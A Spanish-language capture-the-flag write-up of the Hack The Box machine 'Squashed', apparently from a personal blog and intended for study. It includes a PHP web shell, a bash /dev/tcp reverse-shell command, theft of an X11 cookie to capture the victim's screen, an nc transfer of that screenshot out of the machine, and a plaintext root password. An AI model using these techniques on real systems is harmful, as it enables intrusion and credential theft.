Post

HTB Squashed

Resumen

logo La máquina Squashed es realmente interesante. Al iniciar, se encuentran dos cosas importantes: una web y unas monturas. Gracias a que se puede crear un usuario con el UID del dueño de las monturas, se puede tener total acceso sobre las mismas. Por lo tanto, se puede revisar una de ellas que parece ser la raíz de la web y subir una web shell, desde donde se pueden ejecutar comandos y ganar acceso a la máquina.

También existe un directorio que parece ser la carpeta home de uno de los usuarios de la máquina, y dentro del mismo se puede ver la cookie .Xauthority, de la cual se puede abusar para ver la pantalla de la víctima. Al realizar el respectivo ataque, se ve que tiene la contraseña en texto plano dentro del escritorio. Por lo tanto, se puede probar esta contraseña con otros usuarios y ganar máximos privilegios dentro de la misma. Fue una máquina muy divertida y con una escalada de privilegios increíble.

Reconocimiento

Para empezar, se realiza un ping a la máquina para verificar si se cuenta con conectividad hacia ella.

1
2
3
4
5
6
7
ping 10.10.11.191  -c 1
PING 10.10.11.191 (10.10.11.191) 56(84) bytes of data.
64 bytes from 10.10.11.191: icmp_seq=1 ttl=63 time=182 ms

--- 10.10.11.191 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 181.615/181.615/181.615/0.000 ms

Escaneo de Puertos

Luego, se realiza un escaneo de puertos con ayuda de nmap para ver cuáles se encuentran abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -p- --min-rate 3000 10.10.11.191  -Pn   -oG ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-11 21:00 EST
Nmap scan report for 10.10.11.191 (10.10.11.191)
Host is up (0.18s latency).
Not shown: 65527 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
42025/tcp open  unknown
46813/tcp open  unknown
53907/tcp open  unknown
58633/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 27.26 seconds

Y sobre cada uno de estos puertos, se realiza un escaneo mucho más profundo para identificar qué tecnologías se están utilizando y así detectar posibles vulnerabilidades.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
nmap -p22,80,111,2049,42025,46813,53907,58633 -sCV  10.10.11.191 -oN version
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-11 21:01 EST
Nmap scan report for 10.10.11.191 (10.10.11.191)
Host is up (0.20s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      54579/tcp6  mountd
|   100005  1,2,3      56379/udp6  mountd
|   100005  2,3        46813/tcp   mountd
|   100005  2,3        59061/udp   mountd
|   100021  1,3,4      39349/tcp6  nlockmgr
|   100021  1,3,4      42025/tcp   nlockmgr
|   100021  1,3,4      55063/udp6  nlockmgr
|   100021  1,3,4      56449/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
42025/tcp open  nlockmgr 1-4 (RPC #100021)
46813/tcp open  mountd   2-3 (RPC #100005)
53907/tcp open  mountd   1-3 (RPC #100005)
58633/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración

Web

Para empezar, se revisa la web con el fin de identificar qué tecnologías se encuentran dentro de la misma, con ayuda de whatweb

1
2
3
 whatweb http://10.10.11.191/

http://10.10.11.191/ [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.191], JQuery[3.0.0], Script, Title[Built Better], X-UA-Compatible[IE=edge]

web

Luego, se realiza una enumeración de directorios con el fin de verificar si hay algo importante dentro de la web. Esto se lleva a cabo con la ayuda de gobuster utilizando el siguiente comando.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gobuster dir -u http://10.10.11.191 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt   -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.191
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 313] [--> http://10.10.11.191/images/]
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.191/css/]
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.191/js/]
/server-status        (Status: 403) [Size: 277]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

Monturas

Al revisar la web, no se observa nada interesante, por lo que se opta por revisar las monturas que pueden estar disponibles dentro de la web. Esto se puede hacer con el comando showmount.

1
2
3
4
showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross    *
/var/www/html *

Por un lado, se puede ver una montura que se encuentra relacionada a un usuario del sistema y, por otro lado, se puede ver una que está relacionada a la carpeta html. Por lo que dentro de esta podría encontrarse el código de la web que revisamos anteriormente. Por lo tanto, es una buena idea montarlos en nuestro equipo con el comando mount -t para analizarlos.

1
mount -t nfs 10.10.11.191:/home/ross /mnt/ross
1
sudo mount -t nfs 10.10.11.191:/var/www/html /mnt/html
1
2
drwxr-xr-- 2017 www-data 4.0 KB Thu Jan 11 21:05:01 2024  html
drwxr-xr-x 1001 1001     4.0 KB Thu Jan 11 18:15:47 2024  ross

Al listar la información de las monturas con el comando ls -all, se puede observar que pertenecen a un usuario con un identificador que no existe dentro de nuestra máquina. Gracias a esto, se puede realizar un ataque posteriormente.

Explotación

Como se mencionó anteriormente, una vulnerabilidad dentro de las monturas se presenta cuando el uid del usuario dueño del archivo no existe dentro del equipo al que se está pasando la montura. Aunque no se cuenten con los permisos, se puede crear un nuevo usuario con el uid del usuario anterior y hacer que ese usuario sea el dueño para poder obtener control sobre los archivos.

Por lo que se crea un nuevo usuario llamado pepito

1
sudo useradd -M pepito

Se le asigna el identificador con el que contaba el usuario dueño de los archivos que se encuentran dentro del directorio HTML.

1
sudo usermod -u  2017  pepito

Y al revisar de nuevo, se puede ver que el nuevo dueño de la carpeta es pepito.

1
2
3
ls -all
drwxr-xr-- pepito www-data 4.0 KB Thu Jan 11 21:40:01 2024  html
drwxr-xr-x 1001   pepito   4.0 KB Thu Jan 11 18:15:47 2024  ross

Al revisar, se pueden ver los mismos directorios que fueron enumerados por gobuster, por lo que se piensa que se trata de la carpeta donde se encuentra alojada la web.

1
2
ls
css  images  index.html  js

Dado que se cuentan con permisos de escritura, es posible crear un archivo en PHP que permita tener una web shell dentro de la web. Esta web shell posibilita la ejecución remota de comandos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>
1
2
ls
css  images  index.html  js  web.php

Al revisar dentro de la web, se puede observar que se cuenta con una RCE (Ejecución Remota de Código), lo que permite ganar una shell reversa dentro del equipo víctima.

webshell

Para esto es necesario ponerse a la escucha con nc para ganar la conexión.

1
nc -lvp 1234

Dentro de la web shell, se puede enviar el siguiente comando para lanzar la shell reversa.

1
bash -c 'exec bash -i &>/dev/tcp/10.10.14.14/1234 <&1'

Y se gana la shell dentro del equipo.

1
2
3
4
5
6
nc -lvp 1234
listening on [any] 1234 ...
connect to [10.10.14.14] from 10.10.11.191 [10.10.11.191] 50516
bash: cannot set terminal process group (1084): Inappropriate ioctl for device
bash: no job control in this shell
alex@squashed:/var/www/html$ 

Escalada de Privilegios

Por otro lado, es importante tener en cuenta que aún hay una carpeta que cuenta con la misma vulnerabilidad de las monturas, por lo que es crucial revisarla para verificar si contiene alguna información sensible. En este sentido, se le cambia el identificador a pepito para que ahora sea el dueño de la web.

1
2
drwxr-xr-- pepito www-data 4.0 KB Thu Jan 11 21:55:01 2024  html
drwxr-xr-x 1001   pepito   4.0 KB Thu Jan 11 18:15:47 2024  ross
1
usermod -u  1001  pepito
1
2
drwxr-xr-- 2017   www-data 4.0 KB Thu Jan 11 21:55:01 2024  html
drwxr-xr-x pepito pepito   4.0 KB Thu Jan 11 18:15:47 2024  ross

Al revisar dentro de este, se puede observar que hay dos archivos importantes.

  • .Xauthority : Sirve para la autenticación dentro de aplicaciones gráficas
  • Password.kdbx : Archivo relacionado con Keepass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ls -all
total 68
drwxr-xr-x 14 pepito pepito 4096 Jan 11 18:15 .
drwxr-xr-x  4 root   root   4096 Jan 11 21:08 ..
lrwxrwxrwx  1 root   root      9 Oct 20  2022 .bash_history -> /dev/null
drwx------ 11 pepito pepito 4096 Oct 21  2022 .cache
drwx------ 12 pepito pepito 4096 Oct 21  2022 .config
drwxr-xr-x  2 pepito pepito 4096 Oct 21  2022 Desktop
drwxr-xr-x  2 pepito pepito 4096 Oct 21  2022 Documents
drwxr-xr-x  2 pepito pepito 4096 Oct 21  2022 Downloads
drwx------  3 pepito pepito 4096 Oct 21  2022 .gnupg
drwx------  3 pepito pepito 4096 Oct 21  2022 .local
drwxr-xr-x  2 pepito pepito 4096 Oct 21  2022 Music
drwxr-xr-x  2 pepito pepito 4096 Oct 21  2022 Pictures
drwxr-xr-x  2 pepito pepito 4096 Oct 21  2022 Public
drwxr-xr-x  2 pepito pepito 4096 Oct 21  2022 Templates
drwxr-xr-x  2 pepito pepito 4096 Oct 21  2022 Videos
lrwxrwxrwx  1 root   root      9 Oct 21  2022 .viminfo -> /dev/null
-rw-------  1 pepito pepito   57 Jan 11 18:15 .Xauthority
-rw-------  1 pepito pepito 2475 Jan 11 18:15 .xsession-errors
-rw-------  1 pepito pepito 2475 Dec 27  2022 .xsession-errors.old
1
2
3
4
5
6
7
8
9
10
11
tree
.
├── Desktop
├── Documents
│   └── Passwords.kdbx
├── Downloads
├── Music
├── Pictures
├── Public
├── Templates
└── Videos

Como ya se cuenta con acceso dentro de la máquina, se puede plantear un ataque mediante el uso de la cookie de Xauthority. Por lo tanto, se puede hacer uso del comando w para verificar si el usuario del que se posee la cookie se encuentra dentro de la máquina.

1
2
3
4
w
 03:02:14 up  3:46,  1 user,  load average: 0.00, 0.05, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     :0               23:15    3:46m 21.69s  0.05s /usr/libexec/gnome-session-binary --systemd --session=gnome

Al validar que ross se encuentra conectado, se confirma que se puede abusar de esto para tomar una captura de pantalla del usuario.

Como primer paso, es necesario añadir como variable de entorno HOME el directorio en el que se encuentra el archivo .Xauthority.

1
2
cd   
bash: cd: HOME not set
1
export HOME=/home/alex

Por lo tanto, se puede usar el siguiente comando para verificar si se cuenta con todo funcionando. Sin embargo, es importante tener en cuenta que no va a funcionar de momento porque el archivo no se ha transferido a la víctima.

1
2
3
xdpyinfo -display :0
No protocol specified
xdpyinfo:  unable to open display ":0".

Por lo tanto, se monta un servidor en Python para que luego se consuma el archivo y se descargue dentro de la máquina.

1
2
python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
1
wget http://10.10.14.14:8081/.Xauthority

Una vez hecho esto, se puede volver a ejecutar el comando de validación y se puede observar que tiene una respuesta que ya no refleja información. Por lo tanto, se puede ver que el ataque es factible.

1
2
3
4
5
6
7
8
9
10
11
12
xdpyinfo -display :0 | head

name of display:    :0
version number:    11.0
vendor string:    The X.Org Foundation
vendor release number:    12013000
X.Org version: 1.20.13
maximum request size:  16777212 bytes
motion buffer size:  256
bitmap unit, bit order, padding:    32, LSBFirst, 32
image byte order:    LSBFirst
number of supported pixmap formats:    7

Gracias a esta validación, se sabe que se puede tomar un screenshot del usuario con el siguiente comando.

1
xwd -root -screen -silent -display :0 > screenshot.xwd 

Y para terminar, se debe transferir la imagen generada hacia la máquina del atacante para poder visualizarlo. Esto se hace con ayuda de netcat.

1
nc 10.10.14.14 8888 < screenshot.xwd
1
nc -lvp 8888 > screenshot.xwd

Y se convierte la imagen en un formato que se pueda visualizar, esto gracias al comando convert hacia una imagen .png.

1
convert screenshot.xwd screenshot.png
1
open screenshot.png

screenshot

Y al visualizarlo, se puede ver la aplicación de keepass abierta, en donde se puede observar algo que parece ser una contraseña. Eso, combinado con el archivo que se encontró anteriormente, hace pensar que esta contraseña es importante. Por lo tanto, se puede intentar autenticarse como alguno de los usuarios de la máquina, y resulta que es la contraseña del usuario root. Gracias a esto, se cuenta con máximos privilegios dentro de la máquina.

1
cah$mei7rai9A
1
2
3
alex@squashed:~$ su root      
Password: 
root@squashed:/home/alex# 
This post is licensed under CC BY 4.0 by the author.